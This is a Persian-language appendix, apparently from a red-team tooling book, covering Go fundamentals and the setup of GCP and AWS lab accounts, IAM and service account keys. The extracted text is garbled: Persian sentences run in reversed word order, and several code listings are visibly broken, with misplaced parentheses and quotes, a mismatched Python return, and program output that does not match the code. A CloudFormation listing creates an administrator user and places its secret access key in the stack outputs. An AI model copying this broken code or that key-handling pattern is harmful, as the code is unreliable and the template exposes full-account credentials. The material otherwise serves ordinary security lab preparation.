  باشد، داشته وجود زیر موارد از یک هر اگر و کندمی اعمال ایسختگیرانه قواعد  Go کامپایلر آزادتر، هایزبان برخلاف

 :خورد خواهد شکست کامپایل در

 نشده استفاده متغیرهای •

 return دستور بدون توابع •

 نشده تعریف متغیرهای •

 نشدهاستفاده واردشده هایکتابخانه •

 .دهدمی  نشان را خطاها نوع این از اینمونه A-2 فهرست

import ″fmt″ // Unused library 

func example { )( 

x := 5 // Declared but unused inferred style 

var y int // Declared but unused explicit style 

return z // Undefined variable 

} 

 Go کامپایلر خطاهای کردن فعال: A-2 فهرست

Go از  متفاوت را خطاها همچنین Python که حالی در. کندمی مدیریت  Python هایبلوک از try/except برای 

  ممکن که توابعی. گرداندبرمی توابع از صریح مقادیر عنوانبه  را خطاها Go کند،می استفاده استثناها مدیریت و گرفتن

  قبل است نداده رخ خطایی هیچ که کنید تأیید باید بنابراین گردانند،برمی خطا یک هم و نتیجه یک هم بخورند شکست است

 .کندمی مقایسه را زبان دو هر در خطا مدیریت A-3 فهرست. نتیجه از استفاده از
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 #Python error handling 

def validate_age(age) : 

try: 

age = int(age) 

if age < 0 : 

raise ValueError(″Age cannot be negative″) 

return age 

except ValueError as e: 

return None, str(e) 

try: 

result = validate_age″( -5)″ 

print(″Valid age:″, result) 

except ValueError as e: 

print(″Error:″, e) 

// Go error handling 

func validateAge(age string) (int, error)  { 

num, err := strconv.Atoi(age) 

if err != nil  { 

return 0, err 

} 

if num < 0  { 

return 0, errors.New(″Age cannot be negative″) 

} 

return num, nil 

} 

// Example usage 
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age, err := validateAge″(-5 )″ 

if err != nil  { 

fmt.Println(″Error:″, err) 

 }else { 

fmt.Println(″Valid age:″, age) 

} 

 Go مقابل در Python  در خطا مدیریت: A-3 فهرست

  را خود عاملسیستم مناسب بسته تا بروید https://go.dev به. کرد  خواهید اندازیراه و  دانلود را خود Go محیط بعد،

 : کنید تأیید زیر صورتبه  را نصب مرحله، این اتمام از پس. کنید نصب و دانلود

 $go version 

go version go1.25.5 windows/amd64 

 برای. کندمی استفاده کد سازماندهی و هاوابستگی مدیریت  برای هاماژول از  Python ، venv، Go مجازی محیط مشابه

  اجرا helloworld ماژول یک ایجاد برای خود انتخابی ترمینال از  را زیر موارد ،Go با خود برنامه اولین اندازیراه

 : کنید

 $mkdir helloworld 

 $cd helloworld 

 $go mod init helloworld 

  اضافه  را A-4 فهرست کد و کنید ایجاد main.go نام  به فایل یک خود، علاقه مورد کد  ویرایشگر از استفاده با حالا،

 . کنید

package main 

import ″fmt ″ 

func main { )( 

fmt.Println(″hello world″) 

} 

 Go در« hello world» برنامه یک: A-4 فهرست

  زبان یک مانند) کرد خواهید  اجرا go run فرمان از استفاده با مستقیما   را برنامه این  ابتدا. ببندید و ذخیره را فایل

 : کرد خواهید کامپایل go build فرمان  از استفاده با را آن سپس و( تفسیرشده

/~workspace$ ls 
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go.mod gopath main.go 

/~workspace$ go run main.go 

Hello, World! 

/~workspace$ go build main.go 

/~workspace$ ls 

go.mod gopath main main.go 

/~workspace$ 

Go یک شامل linter آن از خوانایی برای تورفتگی و گذاریفاصله  استانداردسازی برای کنیممی توصیه که است  داخلی  

 .کنید اجرا  توزیع از قبل خود Go  منبع هایفایل روی را go fmt فرمان سادگیبه. کنید استفاده

 . دهدمی نشان  معمول Go ماژول دایرکتوری  یک در را هافایل A-5 فهرست

helloworld / 

 ──├go.mod # Module definition and dependencies 

 ──├go.sum # Dependency checksums 

 ──├main.go # Main package 

 ──└pkg/ # Project packages 

 ──└utils / 

 ──└utils.go 

 Go کاری محیط هایفایل دایرکتوری: A-5 فهرست

  ایجاد هاوابستگی ردیابی و ماژول تعریف برای را go.mod فایل  Go کردید، آغاز را helloworld ماژول که هنگامی

 سعی سپس و کنندمی کلون  را دیگری شخص مخزن که است این بینیممی Go کارهایتازه از که رایجی اشتباه یک. کرد

 go.mod فایل بدتر، یا کنند  کامپایل یا اجرا هاوابستگی دانلود بدون موجود go.mod از استفاده با را ماژول فورا   کنندمی

 .کنند دانلود را هاوابستگی آخرین سپس و کنند حذف را

  دارید نیاز اگر. کنندمی تغییر زمان طول در هاکتابخانه از بسیاری چون کنیم،نمی توصیه را  رویکردها این  از کدامهیچ ما

  اجرا  را زیر هایفرمان و  دارید نگه را آن  ،go.mod حذف جایبه کنید، اجرا یا کامپایل بود که طورهمان  را  اصلی کد

 : کنید

go mod tidy # Adds missing modules and removes unused ones 

go mod download # Downloads all dependencies 
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  در آنچه با درستیبه go.mod بلکه اندشده دانلود هاوابستگی که کندمی تضمین تنها نه ترتیب این به  فرمان دو  هر اجرای

 .است راستاهم شده مشخص منبع ماژول

Go فهرست بنابراین  دارد، زیادی ظریف نکات A-6 یابیعیب برای توانیدمی که  است رایج هایفرمان  از تقلب برگه  یک  

 .کنید استفاده عملیات و

 #Initialize a new module . 

go mod init myproject 

 #Get/update dependencies. 

go mod tidy # Add missing modules and remove unused ones. 

go get package # Add/update a specific package . 

go mod download # Download all dependencies. 

 #Build commands 

go build # Build the current package. 

go build main.go # Build a specific file . 

go run main.go # Run in one step. 

go install # Build and install binary . 

 #Format/lint code 

go fmt # Format current directory . 

go fmt ./... # Format all packages recursively . 

gofmt -w . # Format and write changes to files. 

gofmt -d . # Show formatting differences without changing . 

 #Module maintenance 

go mod verify # Verify dependencies . 

go mod why # Explain why a package is needed . 

go mod graph # Print module requirement graph. 

 Go  رایج هایفرمان: A-6 فهرست

  برای. بیندازد دام  به  را زبان به واردتازه دهندگانتوسعه تواندمی  که دارد وجود Go در بسیاری  عجیب نکات و هاتفاوت

 .کنید بررسی /https://github.com/teivah/100-go-mistakes در را برتر رایج اشتباه 100 بیشتر، نکات
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 GCP اندازیراه و   مبانی
  باشید، آشنا GCP اصلی مفاهیم با باید بنابراین کرد، خواهید استفاده GCP مختلف خدمات از کتاب این سراسر در شما

  پروژه یک در را کنید می کار آن  در که محیطی هر GCP. GCP توسط  منابع مدیریت و ساختاردهی نحوه شامل

  تجمیع هاپوشه در توانندمی پروژه چندین. شودمی شامل را شما امنیتی پیکربندی و کاری بارهای که کند،می سازماندهی

  پروژه سطح به( هاپوشه و سازمان) والد سطوح از منابع مدیریت و امنیتی تنظیمات. سازمان یک در پوشه چندین و شوند،

 .شوندمی بریار 

  اندازیراه GCP پروژه یک قبلا   اگر. داشت نخواهید  پوشه یا سازمان ایجاد به نیازی  کتاب، این هایآزمایشگاه برای

 را بالقوه اشتباهات و کاری بارهای تا کنید اندازیراه  جدید پروژه یک هاآزمایشگاه تکمیل هنگام کنیممی توصیه اید،کرده

  نشان را Google Cloud کنسول در شخصی ایمیل حساب یک با مرتبط GCP پروژه چندین A-1 شکل. کنید جدا

 .دهدمی

 

 GCP هایپروژه فهرست مشاهده: A-1 شکل

  شکل در شدهداده  نشان ،Identity and Access Management (IAM) GCP سیستم که کنید درک باید همچنین شما

A-2، کندمی کار چگونه .Principalهایینقش هاآن  به توانمی که عادی، تعاملی کاربران مانند هستند،  هاییموجودیت ها  

 تواندمی نقش را( API) کاربردی  نویسیبرنامه رابط هایفراخوانی  کدام کندمی کنترل که کرد اعطا مجوز چند یا یک با

 هاآن  که کنید،می استفاده سرویس هایحساب نام به غیرتعاملی هایحساب از شما خودکار،  کاری بارهای برای . دهد انجام

( Viewer و ،Owner، Editor) قدیمی ابتدایی هاینقش جایبه کنیممی  توصیه ما. دارند  مرتبط مجوزهای و هانقش نیز

 .کنید استفاده سفارشی هاینقش از
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 سفارشی  IAM مجوزهای و هانقش تنظیم: A-2 شکل

  استفاده متصل مجوزهای از  ایمجموعه و نقش  یک با سرویس حساب یک از شما کتاب، این هایآزمایشگاه در منابع برای

( ببینید را A-3 شکل هویت؛ احراز اطلاعات حاوی اعتبارنامه هایفایل) سرویس حساب کلیدهای همچنین. کرد خواهید

 . کنید  ممکن را بلندمدت نویسیبرنامه دسترسی تا کرد خواهید ایجاد

 

 سرویس  حساب کلید یک ایجاد: A-3 شکل

  خطر به کلید اگر. است بلندمدت کلید یک این انقضا، تاریخ  یک با حتی. کنید احتیاط سرویس حساب کلید  یک تولید هنگام

 جلسات برای ترامن  هایحلراه. کنند پیدا دسترسی مرتبط سرویس حساب مجوزهای به توانندمی تهدید بازیگران بیفتد،

  نیازهای با  معمولا   هااین اما ،OpenID Connect (OIDC) کاری بار هویت فدراسیون مانند هستند، موجود مدتکوتاه
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 هاآزمایشگاه در تولیدشده سرویس  حساب JSON web token (JWT) کلیدهای از شما. نیستند  سازگار قرمز تیم عملیاتی

 .کرد خواهید استفاده

  شبکه هایپیکربندی به نیاز بدون GCP هایAPI با مستقیما   کنیدمی ایجاد کتاب این هایآزمایشگاه برای که منابعی بیشتر

  هایماشین و زیرشبکه یک با( VPC) مجازی خصوصی ابر یک از آزمایشگاه یک. کرد خواهند برقرار ارتباط پیچیده

 . کرد خواهد استفاده ( نامدمی محاسباتی هاینمونه را هاآن  GCP که) مجازی

  و https://cloud.google.com/docs/get-started در  را مراحل جدید، GCP پروژه یک اندازیراه  برای

https://developers.google.com/workspace/guides/create-project کنید دنبال . 

 AWS اندازیراه و   مبانی
 حساب یک ،AWS در. کندمی استفاده والد سازمانی مراتبسلسله  یک از GCP، Amazon Web Services مانند

  واحد سازمان یک درون( OU) سازمانی واحدهای در توانندمی هاحساب . است کاری بارهای و منابع برای اصلی  ظرف

 . است مدیریت حساب  دارد، را OU و سازمان  سطح تغییرات مدیریت مجوزهای که حسابی. شوند بندیگروه

 درک داشت، نخواهید مدیریت حساب یا AWS سازمان یک اندازی راه به نیازی کتاب این هایآزمایشگاه برای که  حالی در

  کنسول، و AWS منابع به دسترسی برای. است مهم کاری  بار سازماندهی و امنیتی ریزیبرنامه برای منابع مراتبسلسله 

 که ،IAM هایگروه  طریق از یا کنیدمی متصل کاربر به مستقیما   یا را هاسیاست و کنیدمی  ایجاد IAM کاربران شما

 .دارند متمرکزی مجموعه

  عمل غیرتعاملی یا تعاملی هایحساب عنوانبه توانندمی AWS در  IAM کاربران ،GCP برخلاف (. ببینید را A-4 شکل)

 .کنند تولید بلندمدت دسترسی کلیدهای و کنند

 

 AWS کاربری  حساب یک برای مجوز  هایسیاست مشاهده: A-4 شکل

 حساب یک عنوانبه باید کاربر این. بود خواهد root کاربر  شما کاربر اولین کنید،می ایجاد AWS  حساب یک که هنگامی

 متصل شما ایمیل آدرس به معمولا   و( شود استفاده اضطراری موارد برای فقط) شود گرفته  نظر در «شیشه شکستن»

 روزمره استفاده برای  AdministratorAccess مجوزهای از استفاده و IAM کاربر یک ایجاد شیوه بهترین. است
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  با IAM کاربران کنند، کنترل را حساب سطح تنظیمات سایر و صورتحساب توانندمی root کاربران که حالی  در. است

 . کنند کنترل را ( داده هایپایگاه و ،S3 سبدهای ،EC2 هاینمونه مانند) حساب درون منابع توانندمی فقط مدیر دسترسی

  به نیازی مرحله این در. کرد خواهند استفاده VPC سازیشبکه از AWS هایآزمایشگاه ،GCP هایآزمایشگاه برخلاف

 کرد خواهید استفاده  که اصلی خدمات. کرد خواهید دریافت مقدمه  یک آزمایشگاه زمان در ندارید؛  AWS سازیشبکه درک

Amazon EC2 و AWS Lambda برخی توسعه، طول در شدهاستفاده مختلف حقوقی هایموجودیت دلیلبه. )هستند  

 هایقابلیت و بلندمدت VM هاینمونه شامل EC2 سرویس.(  هستند AWS با دیگر برخی و Amazon پیشوند با خدمات

 خودکار طوربه AWS که زودگذر کانتینرهای از استفاده با سرور بدون توابع AWS Lambda. است مرتبط شبکه

 .کندمی فراهم کندمی مدیریت

 Infrastructure as است، CloudFormation (CFN) کرد، خواهید استفاده هاآزمایشگاه در که سوم سرویس
Code (IaC)  با است ممکن. کندمی  خودکار آسان پاکسازی برای را منابع بازگردانی و استقرار که Terraform شرکت  

HashiCorp کلیدی مزیت. کند می  دنبال را مشابهی اهداف که  باشید، آشناتر CloudFormation برای آن توانایی 

 صورتبه خودتان نیست نیازی که معنا این به) اندداده  خطا یا اندخورده شکست استقرار در که است منابعی خودکار حذف

 (.بازگردانید یا حذف را منابع پیکربندی دستی

 و کندمی ایجاد مدیر دسترسی با IAM کاربر یک که دهدمی نشان را CloudFormation ساده قالب یک A-7 فهرست

 . کندمی تولید دسترسی کلیدهای

AWSTemplateFormatVersion: ′2010-09-09′ 

Description: ′CloudFormation template to create IAM user with Administrator 

Access′ 

Resources : 

AdminUser: 

Type: ′AWS::IAM::User′ 

Properties: 

UserName: AdminUser 

ManagedPolicyArns: 

- arn:aws:iam::aws:policy/AdministratorAccess 

AdminUserAccessKey: 

Type: ′AWS::IAM::AccessKey ′ 

Properties: 

UserName: !Ref AdminUser 

Outputs : 
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AccessKey: 

Description: Access Key ID for the Admin User 

Value: !Ref AdminUserAccessKey 

SecretKey: 

Description: Secret Access Key for the Admin User 

Value: !GetAtt AdminUserAccessKey.SecretAccessKey 

 CloudFormation در دسترسی کلید و IAM  کاربر یک ایجاد: A-7 فهرست

 در موجود هایدستورالعمل جدید، AWS حساب یک ایجاد برای

https://docs.aws.amazon.com/accounts/latest/reference/manage-acct-creating.html را 

 . کنید دنبال

 . دارید را قرمز تیم فرار  ابزارهای ساخت شروع برای لازم چیز همه خود، محیط پیکربندی با


